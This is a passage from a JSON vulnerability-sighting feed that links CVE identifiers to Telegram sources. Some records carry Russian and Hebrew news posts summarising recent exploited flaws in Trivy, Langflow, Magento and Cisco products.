\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043f\u043e\u0434\u0430\u0432\u043b\u0435\u043d\u0438\u044f EDR, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438. \u00ab\u041f\u0430\u0440\u0442\u043d\u0451\u0440\u044b\u00bb \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 RaaS \u0432\u044b\u0431\u0438\u0440\u0430\u044e\u0442 \u0441\u0432\u043e\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u00ab\u043a\u0438\u043b\u043b\u0435\u0440\u044b\u00bb \u0441\u043b\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u0430\u0442\u0430\u043a, \u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u044b \u0432\u0430\u0440\u044c\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043e\u0442 BYOVD \u0434\u043e \u0441\u0430\u043c\u043e\u043f\u0438\u0441\u043d\u044b\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432 \u0438 \u0443\u0442\u0438\u043b\u0438\u0442 \u043f\u043e \u0431\u043e\u0440\u044c\u0431\u0435 \u0441 \u0440\u0443\u0442\u043a\u0438\u0442\u0430\u043c\u0438.\n\n\u26aa\ufe0f\u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0441\u043a\u0430\u043d\u0435\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Trivy \u0431\u044b\u043b \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a. \u0413\u0440\u0443\u043f\u043f\u0430  TeamPCP \u00ab\u0443\u0433\u043d\u0430\u043b\u0430\u00bb \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u0431\u043e\u0440\u043a\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u043d\u0430 GitHub, \u0432\u0441\u0442\u0440\u043e\u0438\u043b\u0430 \u0431\u044d\u043a\u0434\u043e\u0440 \u0432 \u0432\u0435\u0440\u0441\u0438\u044e 0.69.4 \u0438 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 75 \u0438\u0437 76 \u0442\u0435\u0433\u043e\u0432 \u0432\u0435\u0440\u0441\u0438\u0439 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 trivy-action, \u0447\u0442\u043e\u0431\u044b \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043a\u043e\u043c\u043c\u0438\u0442\u044b. \u041b\u044e\u0431\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 CI/CD, \u0441\u0441\u044b\u043b\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u043d\u0430 \u044d\u0442\u0438 \u0442\u0435\u0433\u0438, \u0438\u043d\u0441\u0442\u0430\u043b\u043b\u0438\u0440\u043e\u0432\u0430\u043b \u0436\u0435\u0440\u0442\u0432\u0430\u043c \u0438\u043d\u0444\u043e\u0441\u0442\u0438\u043b\u0435\u0440. \n\n\ud83d\udd34\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-33017 (CVSS4b 9.3) \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440\u0435 \u0430\u0433\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, Langflow, \u0431\u044b\u043b\u0430 \u043f\u0440\u0435\u0434\u0430\u043d\u0430 \u043e\u0433\u043b\u0430\u0441\u043a\u0435 \u0442\u043e\u043b\u044c\u043a\u043e 17 \u043c\u0430\u0440\u0442\u0430, \u0438 \u0443\u0436\u0435 \u0441\u043f\u0443\u0441\u0442\u044f 20 \u0447\u0430\u0441\u043e\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438. \u041f\u0440\u0438\u0447\u0451\u043c \u044d\u0442\u043e \u043d\u0435 \u0431\u044b\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0442\u0435\u0441\u0442\u044b, \u0441\u043f\u0443\u0441\u0442\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u043b\u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\ud83d\udfe3\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Magento Open Source \u0438 Adobe Commerce \u043f\u0440\u0438\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c\u0441\u044f. \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Polyshell \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0430 \u0432 \u0440\u044f\u0434\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0439 \u2014 \u0435\u0449\u0451 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0435\u0433\u043e. Adobe \u043f\u043e\u043a\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0434\u0435\u0444\u0435\u043a\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0431\u0435\u0442\u0430-\u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0441\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0438 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u0435\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u043c\u0435\u0440, \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0432 \u0431\u043b\u043e\u0433\u0435 Sansec.\n\n\ud83d\udfe2\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20131 \u0432 Cisco Secure Firewall Management Center \u0441\u043e \u0441\u043a\u0440\u043e\u043c\u043d\u044b\u043c CVSS 10, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0430\u044f \u043a\u0430\u043a \u0437\u0438\u0440\u043e\u0434\u0435\u0439 \u0431\u0430\u043d\u0434\u043e\u0439 Interlock \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 \u044f\u043d\u0432\u0430\u0440\u044f, \u0443\u0434\u043e\u0441\u0442\u043e\u0438\u043b\u0430\u0441\u044c \u0441\u0440\u043e\u0447\u043d\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432\u044b CISA. \u0421\u0440\u043e\u043a \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u0434\u043e \u0432\u0447\u0435\u0440\u0430, 22 \u043c\u0430\u0440\u0442\u0430.\n\n#\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 #APT @\u041f2\u0422", "creation_timestamp": "2026-03-23T07:34:51.000000Z"}, {"uuid": "ef784259-eb71-4d7a-9ee4-a77d8454788e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "Telegram/t4suql6I0-EgAbge55Y7fbPScZyJgFXRiuXCvL-XHGMk0_Q", "content": "", "creation_timestamp": "2026-04-03T17:25:37.000000Z"}, {"uuid": "13d44c50-0497-4b52-ae48-65ba426a84b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20433", "type": "seen", "source": "Telegram/ubthoF1g8rbiNT2f93TzwsoAmJLY2ZrVE2ygc3thq3uaBv8", "content": "", "creation_timestamp": "2026-04-07T15:20:46.000000Z"}, {"uuid": "75cf540a-5810-45a8-8ef8-d6f2662f4745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20432", "type": "seen", "source": "Telegram/ubthoF1g8rbiNT2f93TzwsoAmJLY2ZrVE2ygc3thq3uaBv8", "content": "", "creation_timestamp": "2026-04-07T15:20:46.000000Z"}, {"uuid": "fe6027e6-c325-46bc-91cb-313d6464b792", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "Telegram/Ksr1uVg7ilsSCbYKaIy4ihYaVTuvb2ViPM-R0BRHPQVNIw", "content": "", "creation_timestamp": "2026-04-02T22:11:14.000000Z"}, {"uuid": "29502cc5-47ae-4cca-958d-963c740630a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "published-proof-of-concept", "source": "Telegram/Wl9CrQOxsQx4KE-BWCuSJcJWoX1uryv_sC7BNGTK9kDjsYQ", "content": "", "creation_timestamp": "2026-04-07T21:00:05.000000Z"}, {"uuid": "66ebb7ca-06f6-45b1-9631-0df47379fd1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20698", "type": "published-proof-of-concept", "source": "Telegram/Ee7n-7zRPRepn3ksJA7_epcNvvre50B_Kcx1EKfFj33TDQI", "content": "", "creation_timestamp": "2026-03-26T21:32:41.000000Z"}, {"uuid": "3778a359-747c-4ec1-b654-1d2a8ce67ac8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20911", "type": "published-proof-of-concept", "source": "Telegram/Gs14uYrPx8dSRKbcySFOH_0HeB-4fySLVXH6YHMHvpJUT40", "content": "", "creation_timestamp": "2026-04-07T17:28:45.000000Z"}, {"uuid": "faf68d24-ce65-4c0c-bba2-e0bcdf6e07d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20889", "type": "published-proof-of-concept", "source": "Telegram/Gs14uYrPx8dSRKbcySFOH_0HeB-4fySLVXH6YHMHvpJUT40", "content": "", "creation_timestamp": "2026-04-07T17:28:45.000000Z"}, {"uuid": "cef8f17a-43a8-4fd8-98c7-21e936ef2187", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20884", "type": "published-proof-of-concept", "source": "Telegram/Gs14uYrPx8dSRKbcySFOH_0HeB-4fySLVXH6YHMHvpJUT40", "content": "", "creation_timestamp": "2026-04-07T17:28:45.000000Z"}, {"uuid": "95830d66-3608-4de8-8b95-a45479351aba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20999", "type": "published-proof-of-concept", "source": "Telegram/p_EvDlFgEJuiOJi0pdpDLW7XAzWWPVWvDgc6lfDEOZmEhu0", "content": "", "creation_timestamp": "2026-03-30T15:00:06.000000Z"}, {"uuid": "ed959ff5-d54a-4986-bb0d-97b6c18d75e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20698", "type": "published-proof-of-concept", "source": "Telegram/jW6gAEx0X-7rlKDcpeYmlHPMlF_kfSwPpGXtV0Ykb6N88uc", "content": "", "creation_timestamp": "2026-03-31T03:00:07.000000Z"}, {"uuid": "685e33f6-e8b8-4dad-97c7-394b1b13b84f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20915", "type": "published-proof-of-concept", "source": "Telegram/Ig1ee0N1HBlXVPi52hAEKt2Zoza8gFtrDIgi8zasU7_Bxz8", "content": "", "creation_timestamp": "2026-03-31T17:24:40.000000Z"}, {"uuid": "0aed2481-5723-4c3c-baab-2fdb933870ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "published-proof-of-concept", "source": "Telegram/6KoHZjMq_SrRer1qOlNvHvxjVQOdHuGlAhA7BVnle1PXd2U", "content": "", "creation_timestamp": "2026-03-28T21:00:05.000000Z"}, {"uuid": "7a15cd66-de7f-4331-ba80-c445f5a4a952", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20997", "type": "published-proof-of-concept", "source": "Telegram/BTKLtj-k8mr85u8APet4JWB7IXQUJMvyBZkl_BjpM3LulPU", "content": "", "creation_timestamp": "2026-03-31T01:16:25.000000Z"}, {"uuid": "a0560963-55fa-4816-8056-61f337175f6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20155", "type": "seen", "source": "Telegram/fUvPycF-8idUzxjdy47We6s7yqdQvVu8wQTiIWWX9x7CgwI", "content": "", "creation_timestamp": "2026-04-03T17:25:52.000000Z"}, {"uuid": "8ac8922e-10d5-4f6e-aa0c-5ac1e99dd78e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20151", "type": "seen", "source": "Telegram/fUvPycF-8idUzxjdy47We6s7yqdQvVu8wQTiIWWX9x7CgwI", "content": "", "creation_timestamp": "2026-04-03T17:25:52.000000Z"}, {"uuid": "9302599e-ed55-4ee4-80be-ecff31b68852", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20160", "type": "published-proof-of-concept", "source": "Telegram/XKiVP0TBNKcSgroBasKUd6A0zwSV-UpgyYoSDTGkjCiQdks", "content": "", "creation_timestamp": "2026-04-03T17:26:02.000000Z"}, {"uuid": "89cf8346-618f-4afe-a610-08c8c89ef927", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://t.me/true_secator/8062", "content": "Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0440\u044f\u0434\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (IMC), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f.\n\nCisco IMC, \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043a\u0430\u043a CIMC, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c, \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u0432 \u043c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u0443\u044e \u043f\u043b\u0430\u0442\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Cisco, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0432\u043d\u0435\u043f\u043e\u043b\u043e\u0441\u043d\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 (\u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0438\u043b\u0438 \u0432\u044b\u0448\u043b\u0430 \u0438\u0437 \u0441\u0442\u0440\u043e\u044f) \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 UCS C-Series \u0438 E-Series \u0447\u0435\u0440\u0435\u0437 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f XML API, \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 (WebUI) \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 (CLI).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-20093, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0441\u043c\u0435\u043d\u044b \u043f\u0430\u0440\u043e\u043b\u044f Cisco IMC \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u041e\u043d\u0430 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0441\u043c\u0435\u043d\u0443 \u043f\u0430\u0440\u043e\u043b\u044f. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\nCisco (PSIRT) \u043f\u043e\u043a\u0430 \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0438\u043b\u0438 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u043d\u0435\u0435 PoC, \u043d\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u041f\u041e \u0434\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u0442.", "creation_timestamp": "2026-04-02T18:30:06.000000Z"}, {"uuid": "750efd0c-db1f-42b0-82a8-15c10d5bd13a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20094", "type": "seen", "source": "Telegram/D-0rdFJUDW9RkBijmxD8bnFLF49tYzSHtlkGPRJ-1eiaQgo", "content": "", "creation_timestamp": "2026-04-03T17:25:42.000000Z"}, {"uuid": "b0cc8a2a-7208-4e89-bb14-0fe200c5f596", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "exploited", "source": "https://t.me/CyberSecurityIL/82690", "content": "\u05e9\u05d9\u05de\u05d5 \u05dc\u05d1 \u05dc\u05d7\u05d5\u05dc\u05e9\u05d4 (CVE-2026-20131) \u05d1\u05de\u05d5\u05e6\u05e8 Cisco's Secure Firewall Management Center (FMC) \u05d4\u05de\u05e0\u05d5\u05e6\u05dc\u05ea \u05d1\u05e4\u05d5\u05e2\u05dc \u05e2\"\u05d9 \u05e7\u05d1\u05d5\u05e6\u05d5\u05ea \u05db\u05d5\u05e4\u05e8 \u05de\u05e1\u05d1\u05d9\u05d1 \u05dc\u05e2\u05d5\u05dc\u05dd.\n\n\u05e1\u05d9\u05e1\u05e7\u05d5 \u05e4\u05e8\u05e1\u05de\u05d5 \u05ea\u05d9\u05e7\u05d5\u05df \u05d1-4.3.26 \u05d0\u05d1\u05dc \u05de\u05e1\u05ea\u05d1\u05e8 \u05db\u05d9 \u05e7\u05d1\u05d5\u05e6\u05ea \u05d4\u05db\u05d5\u05e4\u05e8 Interlock \u05de\u05e0\u05e6\u05dc\u05ea \u05d0\u05ea \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05db\u05d1\u05e8 \u05de\u05d7\u05d5\u05d3\u05e9 \u05d9\u05e0\u05d5\u05d0\u05e8 26.\n\nhttps://t.me/CyberSecurityIL/8643", "creation_timestamp": "2026-03-19T12:26:46.000000Z"}, {"uuid": "eae84268-f11f-4225-abe0-b3b991c6d2c8", 